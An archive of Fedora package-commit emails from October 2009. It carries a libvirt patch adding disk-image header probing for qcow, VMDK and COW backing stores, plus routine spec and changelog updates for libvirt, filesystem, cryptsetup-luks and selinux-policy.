+                                const unsigned char *, size_t);
+
+
+static struct FileTypeInfo const fileTypeInfo[] = {
+    /* Bochs */
+    /* XXX Untested
+    { VIR_STORAGE_FILE_BOCHS, "Bochs Virtual HD Image", NULL,
+      LV_LITTLE_ENDIAN, 64, 0x20000,
+      32+16+16+4+4+4+4+4, 8, 1, -1, NULL },*/
+    /* CLoop */
+    /* XXX Untested
+    { VIR_STORAGE_VOL_CLOOP, "#!/bin/sh\n#V2.0 Format\nmodprobe cloop file=$0 && mount -r -t iso9660 /dev/cloop $1\n", NULL,
+      LV_LITTLE_ENDIAN, -1, 0,
+      -1, 0, 0, -1, NULL }, */
+    /* Cow */
+    { VIR_STORAGE_FILE_COW, "OOOM", NULL,
+      LV_BIG_ENDIAN, 4, 2,
+      4+4+1024+4, 8, 1, -1, cowGetBackingStore },
+    /* DMG */
+    /* XXX QEMU says there's no magic for dmg, but we should check... */
+    { VIR_STORAGE_FILE_DMG, NULL, ".dmg",
+      0, -1, 0,
+      -1, 0, 0, -1, NULL },
+    /* XXX there's probably some magic for iso we can validate too... */
+    { VIR_STORAGE_FILE_ISO, NULL, ".iso",
+      0, -1, 0,
+      -1, 0, 0, -1, NULL },
+    /* Parallels */
+    /* XXX Untested
+    { VIR_STORAGE_FILE_PARALLELS, "WithoutFreeSpace", NULL,
+      LV_LITTLE_ENDIAN, 16, 2,
+      16+4+4+4+4, 4, 512, -1, NULL },
+    */
+    /* QCow */
+    { VIR_STORAGE_FILE_QCOW, "QFI", NULL,
+      LV_BIG_ENDIAN, 4, 1,
+      4+4+8+4+4, 8, 1, 4+4+8+4+4+8+1+1+2, qcowXGetBackingStore },
+    /* QCow 2 */
+    { VIR_STORAGE_FILE_QCOW2, "QFI", NULL,
+      LV_BIG_ENDIAN, 4, 2,
+      4+4+8+4+4, 8, 1, 4+4+8+4+4+8, qcowXGetBackingStore },
+    /* VMDK 3 */
+    /* XXX Untested
+    { VIR_STORAGE_FILE_VMDK, "COWD", NULL,
+      LV_LITTLE_ENDIAN, 4, 1,
+      4+4+4, 4, 512, -1, NULL },
+    */
+    /* VMDK 4 */
+    { VIR_STORAGE_FILE_VMDK, "KDMV", NULL,
+      LV_LITTLE_ENDIAN, 4, 1,
+      4+4+4, 8, 512, -1, vmdk4GetBackingStore },
+    /* Connectix / VirtualPC */
+    /* XXX Untested
+    { VIR_STORAGE_FILE_VPC, "conectix", NULL,
+      LV_BIG_ENDIAN, -1, 0,
+      -1, 0, 0, -1, NULL},
+    */
+};
+
+static int
+cowGetBackingStore(virConnectPtr conn,
+                   char **res,
+                   const unsigned char *buf,
+                   size_t buf_size)
+{
+#define COW_FILENAME_MAXLEN 1024
+    *res = NULL;
+    if (buf_size < 4+4+ COW_FILENAME_MAXLEN)
+        return BACKING_STORE_INVALID;
+    if (buf[4+4] == '\0') /* cow_header_v2.backing_file[0] */
+        return BACKING_STORE_OK;
+
+    *res = strndup ((const char*)buf + 4+4, COW_FILENAME_MAXLEN);
+    if (*res == NULL) {
+        virReportOOMError(conn);
+        return BACKING_STORE_ERROR;
+    }
+    return BACKING_STORE_OK;
+}
+
+static int
+qcowXGetBackingStore(virConnectPtr conn,
+                     char **res,
+                     const unsigned char *buf,
+                     size_t buf_size)
+{
+    unsigned long long offset;
+    unsigned long size;
+
+    *res = NULL;
+    if (buf_size < 4+4+8+4)
+        return BACKING_STORE_INVALID;
+    offset = (((unsigned long long)buf[4+4] << 56)
+              | ((unsigned long long)buf[4+4+1] << 48)
+              | ((unsigned long long)buf[4+4+2] << 40)
+              | ((unsigned long long)buf[4+4+3] << 32)
+              | ((unsigned long long)buf[4+4+4] << 24)
+              | ((unsigned long long)buf[4+4+5] << 16)
+              | ((unsigned long long)buf[4+4+6] << 8)
+              | buf[4+4+7]); /* QCowHeader.backing_file_offset */
+    if (offset > buf_size)
+        return BACKING_STORE_INVALID;
+    size = ((buf[4+4+8] << 24)
+            | (buf[4+4+8+1] << 16)
+            | (buf[4+4+8+2] << 8)
+            | buf[4+4+8+3]); /* QCowHeader.backing_file_size */
+    if (size == 0)
+        return BACKING_STORE_OK;
+    if (offset + size > buf_size || offset + size < offset)
+        return BACKING_STORE_INVALID;
+    if (size + 1 == 0)
+        return BACKING_STORE_INVALID;
+    if (VIR_ALLOC_N(*res, size + 1) < 0) {
+        virReportOOMError(conn);
+        return BACKING_STORE_ERROR;
+    }
+    memcpy(*res, buf + offset, size);
+    (*res)[size] = '\0';
+    return BACKING_STORE_OK;
+}
+
+
+static int
+vmdk4GetBackingStore(virConnectPtr conn,
+                     char **res,
+                     const unsigned char *buf,
+                     size_t buf_size)
+{
+    static const char prefix[] = "parentFileNameHint=\"";
+
+    char desc[20*512 + 1], *start, *end;
+    size_t len;
+
+    *res = NULL;
+
+    if (buf_size <= 0x200)
+        return BACKING_STORE_INVALID;
+    len = buf_size - 0x200;
+    if (len > sizeof(desc) - 1)
+        len = sizeof(desc) - 1;
+    memcpy(desc, buf + 0x200, len);
+    desc[len] = '\0';
+    start = strstr(desc, prefix);
+    if (start == NULL)
+        return BACKING_STORE_OK;
+    start += strlen(prefix);
+    end = strchr(start, '"');
+    if (end == NULL)
+        return BACKING_STORE_INVALID;
+    if (end == start)
+        return BACKING_STORE_OK;
+    *end = '\0';
+    *res = strdup(start);
+    if (*res == NULL) {
+        virReportOOMError(conn);
+        return BACKING_STORE_ERROR;
+    }
+    return BACKING_STORE_OK;
+}
+
+/**
+ * Return an absolute path corresponding to PATH, which is absolute or relative
+ * to the directory containing BASE_FILE, or NULL on error
+ */
+static char *
+absolutePathFromBaseFile(const char *base_file, const char *path)
+{
+    size_t base_size, path_size;
+    char *res, *p;
+
+    if (*path == '/')
+        return strdup(path);
+
+    base_size = strlen(base_file) + 1;
+    path_size = strlen(path) + 1;
+    if (VIR_ALLOC_N(res, base_size - 1 + path_size) < 0)
+        return NULL;
+    memcpy(res, base_file, base_size);
+    p = strrchr(res, '/');
+    if (p != NULL)
+        p++;
+    else
+        p = res;
+    memcpy(p, path, path_size);
+    if (VIR_REALLOC_N(res, (p + path_size) - res) < 0) {
+        /* Ignore failure */
+    }
+    return res;
+}
+
+/**
+ * Probe the header of a file to determine what type of disk image
+ * it is, and info about its capacity if available.
+ */
+int
+virStorageFileGetMetadataFromFD(virConnectPtr conn,
+                                const char *path,
+                                int fd,
+                                virStorageFileMetadata *meta)
+{
+    unsigned char head[20*512]; /* vmdk4GetBackingStore needs this much. */
+    int len, i;
+
+    /* If all else fails, call it a raw file */
+    meta->format = VIR_STORAGE_FILE_RAW;
+
+    if ((len = read(fd, head, sizeof(head))) < 0) {
+        virReportSystemError(conn, errno, _("cannot read header '%s'"), path);
+        return -1;
+    }
+
+    /* First check file magic */
+    for (i = 0 ; i < ARRAY_CARDINALITY(fileTypeInfo) ; i++) {
+        int mlen;
+
+        if (fileTypeInfo[i].magic == NULL)
+            continue;
+
+        /* Validate magic data */
+        mlen = strlen(fileTypeInfo[i].magic);
+        if (mlen > len)
+            continue;
+        if (memcmp(head, fileTypeInfo[i].magic, mlen) != 0)
+            continue;
+
+        /* Validate version number info */
+        if (fileTypeInfo[i].versionNumber != -1) {
+            int version;
+
+            if (fileTypeInfo[i].endian == LV_LITTLE_ENDIAN) {
+                version = (head[fileTypeInfo[i].versionOffset+3] << 24) |
+                    (head[fileTypeInfo[i].versionOffset+2] << 16) |
+                    (head[fileTypeInfo[i].versionOffset+1] << 8) |
+                    head[fileTypeInfo[i].versionOffset];
+            } else {
+                version = (head[fileTypeInfo[i].versionOffset] << 24) |
+                    (head[fileTypeInfo[i].versionOffset+1] << 16) |
+                    (head[fileTypeInfo[i].versionOffset+2] << 8) |
+                    head[fileTypeInfo[i].versionOffset+3];
+            }
+            if (version != fileTypeInfo[i].versionNumber)
+                continue;
+        }
+
+        /* Optionally extract capacity from file */
+        if (fileTypeInfo[i].sizeOffset != -1) {
+            if (fileTypeInfo[i].endian == LV_LITTLE_ENDIAN) {
+                meta->capacity =
+                    ((unsigned long long)head[fileTypeInfo[i].sizeOffset+7] << 56) |
+                    ((unsigned long long)head[fileTypeInfo[i].sizeOffset+6] << 48) |
+                    ((unsigned long long)head[fileTypeInfo[i].sizeOffset+5] << 40) |
+                    ((unsigned long long)head[fileTypeInfo[i].sizeOffset+4] << 32) |
+                    ((unsigned long long)head[fileTypeInfo[i].sizeOffset+3] << 24) |
+                    ((unsigned long long)head[fileTypeInfo[i].sizeOffset+2] << 16) |
+                    ((unsigned long long)head[fileTypeInfo[i].sizeOffset+1] << 8) |
+                    ((unsigned long long)head[fileTypeInfo[i].sizeOffset]);
+            } else {
+                meta->capacity =
+                    ((unsigned long long)head[fileTypeInfo[i].sizeOffset] << 56) |
+                    ((unsigned long long)head[fileTypeInfo[i].sizeOffset+1] << 48) |
+                    ((unsigned long long)head[fileTypeInfo[i].sizeOffset+2] << 40) |
+                    ((unsigned long long)head[fileTypeInfo[i].sizeOffset+3] << 32) |
+                    ((unsigned long long)head[fileTypeInfo[i].sizeOffset+4] << 24) |
+                    ((unsigned long long)head[fileTypeInfo[i].sizeOffset+5] << 16) |
+                    ((unsigned long long)head[fileTypeInfo[i].sizeOffset+6] << 8) |
+                    ((unsigned long long)head[fileTypeInfo[i].sizeOffset+7]);
+            }
+            /* Avoid unlikely, but theoretically possible overflow */
+            if (meta->capacity > (ULLONG_MAX / fileTypeInfo[i].sizeMultiplier))
+                continue;
+            meta->capacity *= fileTypeInfo[i].sizeMultiplier;
+        }
+
+        if (fileTypeInfo[i].qcowCryptOffset != -1) {
+            int crypt_format;
+
+            crypt_format = (head[fileTypeInfo[i].qcowCryptOffset] << 24) |
+                (head[fileTypeInfo[i].qcowCryptOffset+1] << 16) |
+                (head[fileTypeInfo[i].qcowCryptOffset+2] << 8) |
+                head[fileTypeInfo[i].qcowCryptOffset+3];
+            meta->encrypted = crypt_format != 0;
+        }
+
+        /* Validation passed, we know the file format now */
+        meta->format = fileTypeInfo[i].type;
+        if (fileTypeInfo[i].getBackingStore != NULL) {
+            char *base;
+
+            switch (fileTypeInfo[i].getBackingStore(conn, &base, head, len)) {
+            case BACKING_STORE_OK:
+                break;
+
+            case BACKING_STORE_INVALID:
+                continue;
+
+            case BACKING_STORE_ERROR:
+                return -1;
+            }
+            if (base != NULL) {
+                meta->backingStore = absolutePathFromBaseFile(path, base);
+                VIR_FREE(base);
+                if (meta->backingStore == NULL) {
+                    virReportOOMError(conn);
+                    return -1;
+                }
+            }
+        }
+        return 0;
+    }
+
+    /* No magic, so check file extension */
+    for (i = 0 ; i < ARRAY_CARDINALITY(fileTypeInfo) ; i++) {
+        if (fileTypeInfo[i].extension == NULL)
+            continue;
+
+        if (!virFileHasSuffix(path, fileTypeInfo[i].extension))
+            continue;
+
+        meta->format = fileTypeInfo[i].type;
+        return 0;
+    }
+
+    return 0;
+}
+
+int
+virStorageFileGetMetadata(virConnectPtr conn,
+                          const char *path,
+                          virStorageFileMetadata *meta)
+{
+    int fd, ret;
+
+    if ((fd = open(path, O_RDONLY)) < 0) {
+        virReportSystemError(conn, errno, _("cannot open file '%s'"), path);
+        return -1;
+    }
+
+    ret = virStorageFileGetMetadataFromFD(conn, path, fd, meta);
+
+    close(fd);
+
+    return ret;
+}
diff --git a/src/storage_file.h b/src/storage_file.h
new file mode 100644
index 0000000..b0abcaf
--- /dev/null
+++ b/src/storage_file.h
@@ -0,0 +1,62 @@
+/*
+ * storage_file.c: file utility functions for FS storage backend
+ *
+ * Copyright (C) 2007-2009 Red Hat, Inc.
+ * Copyright (C) 2007-2008 Daniel P. Berrange
+ *
+ * This library is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public
+ * License as published by the Free Software Foundation; either
+ * version 2.1 of the License, or (at your option) any later version.
+ *
+ * This library is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this library; if not, write to the Free Software
+ * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307  USA
+ *
+ * Author: Daniel P. Berrange <berrange at redhat.com>
+ */
+
+#ifndef __VIR_STORAGE_FILE_H__
+#define __VIR_STORAGE_FILE_H__
+
+#include "util.h"
+#include <stdbool.h>
+
+enum virStorageFileFormat {
+    VIR_STORAGE_FILE_RAW = 0,
+    VIR_STORAGE_FILE_DIR,
+    VIR_STORAGE_FILE_BOCHS,
+    VIR_STORAGE_FILE_CLOOP,
+    VIR_STORAGE_FILE_COW,
+    VIR_STORAGE_FILE_DMG,
+    VIR_STORAGE_FILE_ISO,
+    VIR_STORAGE_FILE_QCOW,
+    VIR_STORAGE_FILE_QCOW2,
+    VIR_STORAGE_FILE_VMDK,
+    VIR_STORAGE_FILE_VPC,
+    VIR_STORAGE_FILE_LAST,
+};
+
+VIR_ENUM_DECL(virStorageFileFormat);
+
+typedef struct _virStorageFileMetadata {
+    int format;
+    char *backingStore;
+    unsigned long long capacity;
+    bool encrypted;
+} virStorageFileMetadata;
+
+int virStorageFileGetMetadata(virConnectPtr conn,
+                              const char *path,
+                              virStorageFileMetadata *meta);
+int virStorageFileGetMetadataFromFD(virConnectPtr conn,
+                                    const char *path,
+                                    int fd,
+                                    virStorageFileMetadata *meta);
+
+#endif /* __VIR_STORAGE_FILE_H__ */
diff --git a/src/util.h b/src/util.h
index f9715ab..75afecc 100644
--- a/src/util.h
+++ b/src/util.h
@@ -26,6 +26,7 @@
 #define __VIR_UTIL_H__
 
 #include "verify.h"
+#include "internal.h"
 #include <sys/select.h>
 #include <sys/types.h>
 
diff --git a/src/vbox/vbox_tmpl.c b/src/vbox/vbox_tmpl.c
index 7270710..783a216 100644
--- a/src/vbox/vbox_tmpl.c
+++ b/src/vbox/vbox_tmpl.c
@@ -45,6 +45,7 @@
 #include "virterror_internal.h"
 #include "domain_event.h"
 #include "storage_conf.h"
+#include "storage_file.h"
 #include "uuid.h"
 #include "event.h"
 #include "memory.h"
@@ -5980,14 +5981,14 @@ static virStorageVolPtr vboxStorageVolCreateXML(virStoragePoolPtr pool,
 
         /* TODO: for now only the vmdk, vpc and vdi type harddisk
          * variants can be created, also since there is no vdi
-         * type in enum virStorageVolFormatFileSystem {} the default
+         * type in enum virStorageFileFormat {} the default
          * will be to create vdi if nothing is specified in
          * def->target.format
          */
 
-        if (def->target.format == VIR_STORAGE_VOL_FILE_VMDK) {
+        if (def->target.format == VIR_STORAGE_FILE_VMDK) {
             data->pFuncs->pfnUtf8ToUtf16("VMDK", &hddFormatUtf16);
-        } else if (def->target.format == VIR_STORAGE_VOL_FILE_VPC) {
+        } else if (def->target.format == VIR_STORAGE_FILE_VPC) {
             data->pFuncs->pfnUtf8ToUtf16("VHD", &hddFormatUtf16);
         } else {
             data->pFuncs->pfnUtf8ToUtf16("VDI", &hddFormatUtf16);
@@ -6302,13 +6303,13 @@ static char *vboxStorageVolGetXMLDesc(virStorageVolPtr vol, unsigned int flags A
                             DEBUG("Storage Volume Format: %s", hddFormatUtf8);
 
                             if (STRCASEEQ("vmdk", hddFormatUtf8))
-                                def.target.format = VIR_STORAGE_VOL_FILE_VMDK;
+                                def.target.format = VIR_STORAGE_FILE_VMDK;
                             else if (STRCASEEQ("vhd", hddFormatUtf8))
-                                def.target.format = VIR_STORAGE_VOL_FILE_VPC;
+                                def.target.format = VIR_STORAGE_FILE_VPC;
                             else
-                                def.target.format = VIR_STORAGE_VOL_FILE_RAW;
+                                def.target.format = VIR_STORAGE_FILE_RAW;
 
-                            /* TODO: need to add vdi to enum virStorageVolFormatFileSystem {}
+                            /* TODO: need to add vdi to enum virStorageFileFormat {}
                              * and then add it here
                              */
 
-- 
1.6.2.5



Index: libvirt.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libvirt/F-12/libvirt.spec,v
retrieving revision 1.185
retrieving revision 1.186
diff -u -p -r1.185 -r1.186
--- libvirt.spec	1 Oct 2009 08:35:47 -0000	1.185
+++ libvirt.spec	1 Oct 2009 15:17:32 -0000	1.186
@@ -172,6 +172,9 @@ Patch05: libvirt-fix-usb-device-passthro
 # Disable sound backend (#524499, #508317)
 Patch06: libvirt-disable-audio-backend.patch
 
+# Re-label qcow2 backing files (#497131)
+Patch07: libvirt-svirt-relabel-qcow2-backing-files.patch
+
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root
 URL: http://libvirt.org/
 BuildRequires: python-devel
@@ -390,6 +393,7 @@ of recent versions of Linux (and other O
 %patch04 -p1
 %patch05 -p1
 %patch06 -p1
+%patch07 -p1
 
 %build
 %if ! %{with_xen}
@@ -782,6 +786,7 @@ fi
 %changelog
 * Thu Oct  1 2009 Mark McLoughlin <markmc at redhat.com> - 0.7.1-8
 - Disable sound backend, even when selinux is disabled (#524499)
+- Re-label qcow2 backing files (#497131)
 
 * Wed Sep 30 2009 Mark McLoughlin <markmc at redhat.com> - 0.7.1-7
 - Fix USB device passthrough (#522683)



From ovasik at fedoraproject.org  Thu Oct  1 15:28:35 2009
From: ovasik at fedoraproject.org (Ondrej Vasik)
Date: Thu,  1 Oct 2009 15:28:35 +0000 (UTC)
Subject: rpms/filesystem/devel filesystem.spec, 1.65, 1.66 lang-exceptions,
	1.4, 1.5
Message-ID: <20091001152835.B4C5C11C00C1@cvs1.fedora.phx.redhat.com>

Author: ovasik

Update of /cvs/extras/rpms/filesystem/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30734

Modified Files:
	filesystem.spec lang-exceptions 
Log Message:
added zh_CN.GB2312 to lang exceptions(#487568)


Index: filesystem.spec
===================================================================
RCS file: /cvs/extras/rpms/filesystem/devel/filesystem.spec,v
retrieving revision 1.65
retrieving revision 1.66
diff -u -p -r1.65 -r1.66
--- filesystem.spec	25 Aug 2009 18:02:45 -0000	1.65
+++ filesystem.spec	1 Oct 2009 15:28:35 -0000	1.66
@@ -1,7 +1,7 @@
 Summary: The basic directory layout for a Linux system
 Name: filesystem
-Version: 2.4.30
-Release: 2%{?dist}
+Version: 2.4.31
+Release: 1%{?dist}
 License: Public Domain
 URL: https://fedorahosted.org/filesystem
 Group: System Environment/Base
@@ -190,6 +190,9 @@ rm -rf %{buildroot}
 /var/yp
 
 %changelog
+* Thu Oct 01 2009 Ondrej Vasik <ovasik at redhat.com>  2.4.31-1
+- added zh_CN.GB2312 to lang exceptions(#487568)
+
 * Tue Aug 25 2009 Karsten Hopp <karsten at redhat.com> 2.4.30-2
 - fix typo in Provides
 


Index: lang-exceptions
===================================================================
RCS file: /cvs/extras/rpms/filesystem/devel/lang-exceptions,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- lang-exceptions	8 Jul 2009 12:24:52 -0000	1.4
+++ lang-exceptions	1 Oct 2009 15:28:35 -0000	1.5
@@ -72,6 +72,7 @@ sv_SE
 uk_UA
 ur_PK
 zh_CN
+zh_CN.GB2312
 zh_HK
 zh_TW
 zh_TW.Big5



From mbroz at fedoraproject.org  Thu Oct  1 15:35:05 2009
From: mbroz at fedoraproject.org (Milan Broz)
Date: Thu,  1 Oct 2009 15:35:05 +0000 (UTC)
Subject: rpms/cryptsetup-luks/devel .cvsignore, 1.15,
	1.16 cryptsetup-luks.spec, 1.72, 1.73 sources, 1.15, 1.16
Message-ID: <20091001153505.C22A711C00C1@cvs1.fedora.phx.redhat.com>

Author: mbroz

Update of /cvs/pkgs/rpms/cryptsetup-luks/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv32471

Modified Files:
	.cvsignore cryptsetup-luks.spec sources 
Log Message:
Update to cryptsetup 1.1.0-rc2
Fix libcryptsetup to properly export only versioned symbols.




Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/cryptsetup-luks/devel/.cvsignore,v
retrieving revision 1.15
retrieving revision 1.16
diff -u -p -r1.15 -r1.16
--- .cvsignore	29 Sep 2009 13:37:45 -0000	1.15
+++ .cvsignore	1 Oct 2009 15:35:05 -0000	1.16
@@ -1 +1 @@
-cryptsetup-1.1.0-rc1.tar.bz2
+cryptsetup-1.1.0-rc2.tar.bz2


Index: cryptsetup-luks.spec
===================================================================
RCS file: /cvs/pkgs/rpms/cryptsetup-luks/devel/cryptsetup-luks.spec,v
retrieving revision 1.72
retrieving revision 1.73
diff -u -p -r1.72 -r1.73
--- cryptsetup-luks.spec	29 Sep 2009 13:37:45 -0000	1.72
+++ cryptsetup-luks.spec	1 Oct 2009 15:35:05 -0000	1.73
@@ -1,7 +1,7 @@
 Summary: A utility for setting up encrypted filesystems
 Name: cryptsetup-luks
 Version: 1.1.0
-Release: 0.2%{?dist}
+Release: 0.3%{?dist}
 License: GPLv2
 Group: Applications/System
 URL: http://cryptsetup.googlecode.com/
@@ -14,7 +14,7 @@ Obsoletes: cryptsetup <= 0.1
 Requires: cryptsetup-luks-libs = %{version}-%{release}
 
 %define _root_sbindir /sbin
-%define upstream_version %{version}-rc1
+%define upstream_version %{version}-rc2
 Source0: http://cryptsetup.googlecode.com/files/cryptsetup-%{upstream_version}.tar.bz2
 
 %description
@@ -89,6 +89,10 @@ popd 
 rm -rf $RPM_BUILD_ROOT
 
 %changelog
+* Thu Oct 01 2009 Milan Broz <mbroz at redhat.com> - 1.1.0-0.3
+- Update to cryptsetup 1.1.0-rc2
+- Fix libcryptsetup to properly export only versioned symbols.
+
 * Tue Sep 29 2009 Milan Broz <mbroz at redhat.com> - 1.1.0-0.2
 - Update to cryptsetup 1.1.0-rc1
 - Add luksHeaderBackup and luksHeaderRestore commands.


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/cryptsetup-luks/devel/sources,v
retrieving revision 1.15
retrieving revision 1.16
diff -u -p -r1.15 -r1.16
--- sources	29 Sep 2009 13:37:45 -0000	1.15
+++ sources	1 Oct 2009 15:35:05 -0000	1.16
@@ -1 +1 @@
-cb7aee7e5ef9a4c637394721878c5968  cryptsetup-1.1.0-rc1.tar.bz2
+c30dbda773d65a3e28eca2319c10d09b  cryptsetup-1.1.0-rc2.tar.bz2



From mgrepl at fedoraproject.org  Thu Oct  1 15:36:55 2009
From: mgrepl at fedoraproject.org (Miroslav Grepl)
Date: Thu,  1 Oct 2009 15:36:55 +0000 (UTC)
Subject: rpms/selinux-policy/F-10 policy-20080710.patch, 1.179,
	1.180 selinux-policy.spec, 1.807, 1.808
Message-ID: <20091001153655.1A0B911C00C1@cvs1.fedora.phx.redhat.com>

Author: mgrepl

Update of /cvs/extras/rpms/selinux-policy/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv32756

Modified Files:
	policy-20080710.patch selinux-policy.spec 
Log Message:
- Allow unconfined_mount_t to execute in rpcd domain



policy-20080710.patch:
 Makefile                                            |   26 
 Rules.modular                                       |   18 
 config/appconfig-mcs/default_contexts               |   19 
 config/appconfig-mcs/failsafe_context               |    2 
 config/appconfig-mcs/guest_u_default_contexts       |    6 
 config/appconfig-mcs/root_default_contexts          |    8 
 config/appconfig-mcs/seusers                        |    4 
 config/appconfig-mcs/staff_u_default_contexts       |    4 
 config/appconfig-mcs/unconfined_u_default_contexts  |    2 
 config/appconfig-mcs/user_u_default_contexts        |    5 
 config/appconfig-mcs/userhelper_context             |    2 
 config/appconfig-mcs/xguest_u_default_contexts      |    7 
 config/appconfig-mls/default_contexts               |   19 
 config/appconfig-mls/guest_u_default_contexts       |    4 
 config/appconfig-mls/root_default_contexts          |   12 
 config/appconfig-mls/staff_u_default_contexts       |    2 
 config/appconfig-mls/user_u_default_contexts        |    2 
 config/appconfig-mls/xguest_u_default_contexts      |    7 
 config/appconfig-standard/guest_u_default_contexts  |    4 
 config/appconfig-standard/root_default_contexts     |    6 
 config/appconfig-standard/staff_u_default_contexts  |    2 
 config/appconfig-standard/user_u_default_contexts   |    2 
 config/appconfig-standard/xguest_u_default_contexts |    5 
 man/man8/nfs_selinux.8                              |   19 
 man/man8/samba_selinux.8                            |   12 
 policy/flask/access_vectors                         |    1 
 policy/global_tunables                              |   20 
 policy/mcs                                          |    8 
 policy/mls                                          |    9 
 policy/modules/admin/alsa.te                        |    1 
 policy/modules/admin/anaconda.te                    |    1 
 policy/modules/admin/certwatch.te                   |    4 
 policy/modules/admin/consoletype.te                 |   11 
 policy/modules/admin/kismet.if                      |    1 
 policy/modules/admin/kismet.te                      |   49 
 policy/modules/admin/logrotate.te                   |   14 
 policy/modules/admin/logwatch.te                    |   11 
 policy/modules/admin/mrtg.te                        |    1 
 policy/modules/admin/netutils.te                    |   11 
 policy/modules/admin/prelink.te                     |   18 
 policy/modules/admin/rpm.fc                         |   10 
 policy/modules/admin/rpm.if                         |  290 +++
 policy/modules/admin/rpm.te                         |   40 
 policy/modules/admin/su.if                          |   69 
 policy/modules/admin/sudo.if                        |   55 
 policy/modules/admin/tmpreaper.te                   |   24 
 policy/modules/admin/usermanage.te                  |   19 
 policy/modules/admin/vbetool.if                     |   31 
 policy/modules/admin/vbetool.te                     |    9 
 policy/modules/admin/vpn.if                         |   36 
 policy/modules/apps/awstats.te                      |    6 
 policy/modules/apps/ethereal.fc                     |    2 
 policy/modules/apps/ethereal.if                     |   54 
 policy/modules/apps/ethereal.te                     |    7 
 policy/modules/apps/games.if                        |   28 
 policy/modules/apps/gitosis.fc                      |    4 
 policy/modules/apps/gitosis.if                      |   94 
 policy/modules/apps/gitosis.te                      |   43 
 policy/modules/apps/gnome.fc                        |   14 
 policy/modules/apps/gnome.if                        |  171 +
 policy/modules/apps/gnome.te                        |   31 
 policy/modules/apps/gpg.fc                          |    8 
 policy/modules/apps/gpg.if                          |  304 ---
 policy/modules/apps/gpg.te                          |  248 ++
 policy/modules/apps/java.fc                         |   17 
 policy/modules/apps/java.if                         |  188 +
 policy/modules/apps/java.te                         |   31 
 policy/modules/apps/livecd.fc                       |    2 
 policy/modules/apps/livecd.if                       |   56 
 policy/modules/apps/livecd.te                       |   26 
 policy/modules/apps/loadkeys.te                     |    5 
 policy/modules/apps/mono.if                         |  103 +
 policy/modules/apps/mono.te                         |    6 
 policy/modules/apps/mozilla.fc                      |   13 
 policy/modules/apps/mozilla.if                      |  325 +--
 policy/modules/apps/mozilla.te                      |   19 
 policy/modules/apps/mplayer.fc                      |    8 
 policy/modules/apps/mplayer.if                      |   64 
 policy/modules/apps/mplayer.te                      |    4 
 policy/modules/apps/nsplugin.fc                     |   13 
 policy/modules/apps/nsplugin.if                     |  318 +++
 policy/modules/apps/nsplugin.te                     |  290 +++
 policy/modules/apps/openoffice.fc                   |    3 
 policy/modules/apps/openoffice.if                   |  106 +
 policy/modules/apps/openoffice.te                   |   14 
 policy/modules/apps/podsleuth.fc                    |    2 
 policy/modules/apps/podsleuth.if                    |   34 
 policy/modules/apps/podsleuth.te                    |   44 
 policy/modules/apps/ptchown.fc                      |    2 
 policy/modules/apps/ptchown.if                      |   22 
 policy/modules/apps/ptchown.te                      |   39 
 policy/modules/apps/qemu.fc                         |    5 
 policy/modules/apps/qemu.if                         |  367 +++
 policy/modules/apps/qemu.te                         |  152 +
 policy/modules/apps/sambagui.fc                     |    4 
 policy/modules/apps/sambagui.if                     |    2 
 policy/modules/apps/sambagui.te                     |   62 
 policy/modules/apps/screen.fc                       |    2 
 policy/modules/apps/screen.if                       |   24 
 policy/modules/apps/screen.te                       |    4 
 policy/modules/apps/slocate.te                      |    4 
 policy/modules/apps/thunderbird.fc                  |    2 
 policy/modules/apps/thunderbird.if                  |   34 
 policy/modules/apps/thunderbird.te                  |    4 
 policy/modules/apps/tvtime.if                       |   39 
 policy/modules/apps/tvtime.te                       |    6 
 policy/modules/apps/uml.fc                          |    2 
 policy/modules/apps/vmware.fc                       |   19 
 policy/modules/apps/vmware.if                       |   14 
 policy/modules/apps/vmware.te                       |   17 
 policy/modules/apps/webalizer.te                    |    2 
 policy/modules/apps/wine.fc                         |   23 
 policy/modules/apps/wine.if                         |   50 
 policy/modules/apps/wine.te                         |    8 
 policy/modules/apps/wireshark.if                    |    2 
 policy/modules/apps/wm.fc                           |    3 
 policy/modules/apps/wm.if                           |  178 +
 policy/modules/apps/wm.te                           |   10 
 policy/modules/kernel/.filesystem.if.swp            |binary
 policy/modules/kernel/corecommands.fc               |   47 
 policy/modules/kernel/corecommands.if               |    1 
 policy/modules/kernel/corenetwork.if.in             |   46 
 policy/modules/kernel/corenetwork.te.in             |   41 
 policy/modules/kernel/devices.fc                    |   46 
 policy/modules/kernel/devices.if                    |  541 +++++
 policy/modules/kernel/devices.te                    |   45 
 policy/modules/kernel/domain.if                     |   22 
 policy/modules/kernel/domain.te                     |   53 
 policy/modules/kernel/files.fc                      |    2 
 policy/modules/kernel/files.if                      |  304 +++
 policy/modules/kernel/files.te                      |   11 
 policy/modules/kernel/filesystem.if                 |  356 +++
 policy/modules/kernel/filesystem.te                 |   18 
 policy/modules/kernel/kernel.if                     |   42 
 policy/modules/kernel/kernel.te                     |   16 
 policy/modules/kernel/selinux.if                    |   54 
 policy/modules/kernel/selinux.te                    |    6 
 policy/modules/kernel/storage.fc                    |    2 
 policy/modules/kernel/storage.if                    |    1 
 policy/modules/kernel/terminal.if                   |    6 
 policy/modules/roles/.staff.te.swp                  |binary
 policy/modules/roles/guest.fc                       |    1 
 policy/modules/roles/guest.if                       |  161 +
 policy/modules/roles/guest.te                       |   36 
 policy/modules/roles/logadm.fc                      |    1 
 policy/modules/roles/logadm.if                      |   44 
 policy/modules/roles/logadm.te                      |   20 
 policy/modules/roles/staff.te                       |   58 
 policy/modules/roles/sysadm.if                      |  114 -
 policy/modules/roles/sysadm.te                      |   14 
 policy/modules/roles/unprivuser.if                  |  605 ++++++
 policy/modules/roles/unprivuser.te                  |   15 
